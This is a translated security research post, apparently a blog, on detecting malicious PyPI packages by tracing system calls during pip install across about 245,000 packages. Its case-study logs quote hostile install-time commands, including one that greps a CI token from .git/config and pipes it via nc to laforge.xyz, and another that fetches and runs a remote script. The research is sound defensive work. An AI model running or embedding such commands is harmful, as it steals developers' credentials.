在PyPI上尋找惡意程序包
大約一年前,Python軟件基金會(Python Software Foundation)發(fā)起了一個信息請求(RFI)活動,討論如何檢測上傳到PyPI的惡意程序包。無論是接管廢棄的程序包、在流行的庫中誤植域名(Typosquatting),還是使用憑證填充劫持程序包,很明顯,這是一個影響幾乎每一個程序包管理器的實際問題。誤植域名(Typosquatting),也稱作URL劫持,假URL等,是一種域名搶注的形式,常常會導(dǎo)致品牌劫持。這種劫持的方式通常有賴于用戶在瀏覽器中輸入網(wǎng)址時,犯下諸如錯誤拼寫等錯誤。用戶一旦不小心輸入了一個錯誤的網(wǎng)址,便有可能被導(dǎo)向任何一個其他的網(wǎng)址(比如說一個域名搶注者運營的網(wǎng)站)。
事實上,像PyPI這樣的程序包管理器是幾乎所有公司都依賴的關(guān)鍵基礎(chǔ)設(shè)施。關(guān)于這個主題,我可以寫好幾天,但是我現(xiàn)在只寫這篇xkcd就夠了。
這是我感興趣的領(lǐng)域,因此我對如何處理此問題提出了自己的想法。但還有一件事困擾我:考慮安裝程序包后會發(fā)生什么。
盡管對于某些設(shè)置活動可能是必需的,但應(yīng)始終使用相關(guān)查看工具來查看諸如在pip安裝過程中建立網(wǎng)絡(luò)連接或執(zhí)行命令之類的事情,因為它沒有給開發(fā)人員太多機會在糟糕的事情發(fā)生之前檢查代碼。
我想對此做進一步的研究,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的每個程序包以尋找惡意活動。
如何發(fā)現(xiàn)惡意庫
為了在安裝過程中運行任意命令,開發(fā)者通常會將代碼添加到程序包中的setup.py文件中,你可以在此存儲庫中看到一些示例。
在更高層次上講,你可以執(zhí)行以下兩項操作來查找潛在的惡意依賴項:你可以查看代碼中的不良內(nèi)容(靜態(tài)分析),或者危險地安裝它們看看會發(fā)生什么(動態(tài)分析)。
雖然靜態(tài)分析非常有趣(我發(fā)現(xiàn)了npm上使用手工grep的惡意程序包),但在這篇文章中,我將重點關(guān)注動態(tài)分析。畢竟,動態(tài)分析的能力更加強大,因為你看到的是實際發(fā)生的事情,而不是只尋找可能發(fā)生的惡意行為。
那么我們到底在尋找什么呢?
重要事情如何完成
通常,任何重要的事情在發(fā)生時都由內(nèi)核完成。希望通過內(nèi)核執(zhí)行重要操作的普通程序(如pip)是通過使用syscall來完成的。使用syscall可以完成打開文件,建立網(wǎng)絡(luò)連接和執(zhí)行命令的所有操作!你可以點此了解到更多的信息。
這意味著,如果我們可以在安裝Python程序包期間系統(tǒng)調(diào)用,則可以查看是否發(fā)生了任何可疑事件。好處是,代碼的混淆程度無關(guān)緊要,我們將看到實際發(fā)生的情況。
需要注意的是,系統(tǒng)調(diào)用的想法并不是我想出來的。自2017年以來,亞當·鮑德溫(Adam Baldwin) 等人一直在討論這個問題。喬治亞理工學(xué)院的研究人員發(fā)表了一篇很好的論文采用了同樣的方法。老實說,本文的大部分內(nèi)容只是試圖復(fù)制他們的想法。
因此,我們想要知道系統(tǒng)調(diào)用具體是如何做到這一點呢?
用Sysdig查看系統(tǒng)調(diào)用
Sysdig 是一個超級系統(tǒng)工具,比 strace、tcpdump、lsof 加起來還強大??捎脕聿东@系統(tǒng)狀態(tài)信息,保存數(shù)據(jù)并進行過濾和分析。使用 Lua 開發(fā),提供命令行接口以及強大的交互界面。
有許多旨在讓你查看系統(tǒng)調(diào)用的工具,本文中使用的是sysdig,因為它既提供結(jié)構(gòu)化輸出,又提供了一些非常好的過濾功能。
為了實現(xiàn)這一點,在啟動安裝程序包的Docker容器時,我還啟動了一個sysdig進程,該進程僅監(jiān)控該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網(wǎng)絡(luò)讀/寫操作,因為我不想用與程序包下載相關(guān)的流量來填充日志。
通過捕獲系統(tǒng)調(diào)用的方法,我不得不解決另一個問題:如何獲取所有PyPI程序包的列表。
獲取Python包
幸運的是,PyPI有一個稱為“簡單API”的API,它也可以被認為是“一個非常大的HTML頁面,其中包含指向每個程序包的鏈接”,它簡單、干凈而且比我可能會寫的任何HTML都要好。
我們可以抓取這個頁面并使用pup解析所有鏈接,從而為我們提供約268000個程序包:
在這個測試中,我只關(guān)心每個程序包的最新版本。較舊的版本中可能埋藏著惡意版本的程序包,但AWS賬單不會自己承擔。
我最終得到了一個看起來像這樣的管道:
簡而言之,我們將每個程序包名稱發(fā)送到一組EC2實例(我希望將來使用Fargate或其他東西,但我也不知道Fargate),從PyPI獲取一些關(guān)于程序包的元數(shù)據(jù),然后開始sysdig以及一系列的容器pip安裝程序包,系統(tǒng)調(diào)用和網(wǎng)絡(luò)流量被收集。然后,將所有數(shù)據(jù)發(fā)送到S3,以供future-Jordan處理。
這個過程如下所示:
查看結(jié)果
一旦完成上面的步驟,我將在一個S3存儲桶中存儲大約1TB的數(shù)據(jù),覆蓋大約245000個程序包。一些程序包沒有發(fā)布的版本,一些程序包具有各種處理錯誤,但是這似乎是一個很好的示例。
以下是具體分析過程
我合并了元數(shù)據(jù)和輸出,得到如下的一系列JSON文件:
然后,我編寫了一系列腳本來開始匯總數(shù)據(jù),以試圖了解什么是良性的,什么是惡性的。讓我們深入研究一下這些輸出結(jié)果。
網(wǎng)絡(luò)請求
在安裝過程中,程序包需要建立網(wǎng)絡(luò)連接的原因有很多,他們可能需要下載合法的二進制組件或其他資源,這可能是一種分析形式,或者可能正試圖從系統(tǒng)中竊取數(shù)據(jù)或憑據(jù)。
結(jié)果發(fā)現(xiàn),有460個數(shù)據(jù)程序包連接到109個獨立的主機,就像上面提到的文章一樣,很多這樣的程序包都是由于程序包共享了網(wǎng)絡(luò)連接的依賴關(guān)系而產(chǎn)生的。可以通過映射依賴關(guān)系來過濾掉它們,但在本文的示范中我還沒有這樣做,這是安裝過程中看到的DNS請求明細。
命令執(zhí)行
像網(wǎng)絡(luò)連接一樣,在安裝過程中,程序包有合理的理由運行系統(tǒng)命令。這可能是編譯本機二進制文件,設(shè)置正確的環(huán)境等。
查看我們的樣本集,發(fā)現(xiàn)60725個程序包在安裝過程中正在執(zhí)行命令。就像網(wǎng)絡(luò)連接一樣,我們必須牢記,其中許多是下游依賴項(運行命令的程序包)的結(jié)果。
有趣的程序包
正如預(yù)期的那樣,經(jīng)過深入研究結(jié)果,大多數(shù)網(wǎng)絡(luò)連接和命令似乎都是合法的。但也有一些奇怪行為的例子,我想列舉出來作為案例研究,以說明這種類型的分析是多么有用。
(1) i-am-malicious
一個名為i-am-malicious的程序包似乎是一個惡意程序包的概念驗證,以下是一些有趣的細節(jié),使我們認為該程序包值得研究:
- {
- "dns": [{
- "name": "gist.githubusercontent.com",
- "addresses": [
- "199.232.64.133"
- ]
- }]
- ],
- "files": [
- ...
- {
- "filename": "/tmp/malicious.py",
- "flag": "O_RDONLY|O_CLOEXEC"
- },
- ...
- {
- "filename": "/tmp/malicious-was-here",
- "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
- },
- ...
- ],
- "commands": [
- "python /tmp/malicious.py"
- ]
- }
我們已經(jīng)知道這里發(fā)生了什么,可以看到一個到gist.github.com的連接,正在執(zhí)行一個Python文件,正在創(chuàng)建一個名為/tmp/malicious-was-here的文件。當然,這正是setup.py中所發(fā)生的事情:
正在討論的malicious.py只是向/tmp/malicious-was-here添加了一個“我曾在這里”類型消息,表明這確實是一個概念驗證。
(2) maliciouspackage
另一個自稱為惡意程序的程序包則有創(chuàng)意地命名為maliciouspackage,它的攻擊能力要稍高一些。以下是相關(guān)輸出:
- {
- "dns": [{
- "name": "laforge.xyz",
- "addresses": [
- "34.82.112.63"
- ]
- }],
- "files": [
- {
- "filename": "/app/.git/config",
- "flag": "O_RDONLY"
- },
- ],
- "commands": [
- "sh -c apt install -y socat",
- "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
- "grep ci-token /app/.git/config",
- "nc laforge.xyz 5566"
- ]
- }
和前面一樣,根據(jù)輸出結(jié)果我們可以對正在發(fā)生的事情有了一個很好的了解。在本例中,程序包似乎從.git/config文件中提取了一個令牌,并將其上傳到laforge.xyz,我們發(fā)現(xiàn)確實是這樣:
(3) easyIoCtl
easyIoCtl程序包確實是一個有趣的程序包。它聲稱提供了“遠離無聊的IO操作的抽象”,但我們看到下面的命令正在執(zhí)行:
結(jié)果很可疑,但并不是非常的有攻擊性。然而,這是一個展示跟蹤系統(tǒng)調(diào)用攻擊能力的完美示例。下面是該項目setup.py中的相關(guān)代碼:
有這么多的混淆,很難知道發(fā)生了什么。傳統(tǒng)的靜態(tài)分析可能會捕獲對exec的調(diào)用,但僅此而已。
要查看它在做什么,我們可以用print替換exec,結(jié)果如下:
這正是我們記錄的命令,表明即使代碼混淆也不會影響我們的結(jié)果,因為我們是在系統(tǒng)調(diào)用級別進行監(jiān)控。
當我們發(fā)現(xiàn)惡意程序包時會發(fā)生什么?
這個問題有必要簡要討論一下,當我們發(fā)現(xiàn)惡意程序包時,我們能做些什么。要做的第一件事是通知PyPI開發(fā)者,讓他們可以得到這個程序包。這可以通過聯(lián)系security@python.org.1來實現(xiàn)
之后,我們可以使用BigQuery上的PyPI公共數(shù)據(jù)集查看程序包被下載了多少次。
這是一個示例查詢,用于查找在過去30天內(nèi)安裝了惡意軟件包的次數(shù):
運行這個查詢可以查出它被下載400次以上:
maliciouspackage下載
總結(jié)
第一步只是初步了解了整個PyPI,通過查看數(shù)據(jù),我沒有發(fā)現(xiàn)有任何程序包做了明顯的有害活動,而且也沒有看起來惡意的名稱,雖然情況很樂觀,但是我總是有可能錯過某些事情,或者將來會發(fā)生。如果你有興趣深入研究數(shù)據(jù),你可以在這里找到它。
接下來,我將設(shè)置一個Lambda函數(shù)來使用PyPI的RSS feed獲取最新的程序包更改,每個更新后的程序包都將經(jīng)過相同的處理,并在檢測到可疑活動時發(fā)送警報。
我仍然不喜歡僅通過用戶 pip install就可以在用戶系統(tǒng)上運行任意命令,我知道的大多數(shù)用例都是良性的,但帶來的風(fēng)險也必須考慮。希望通過越來越多地監(jiān)控各種程序包管理器,我們可以在惡意活動產(chǎn)生重大影響之前識別其跡象。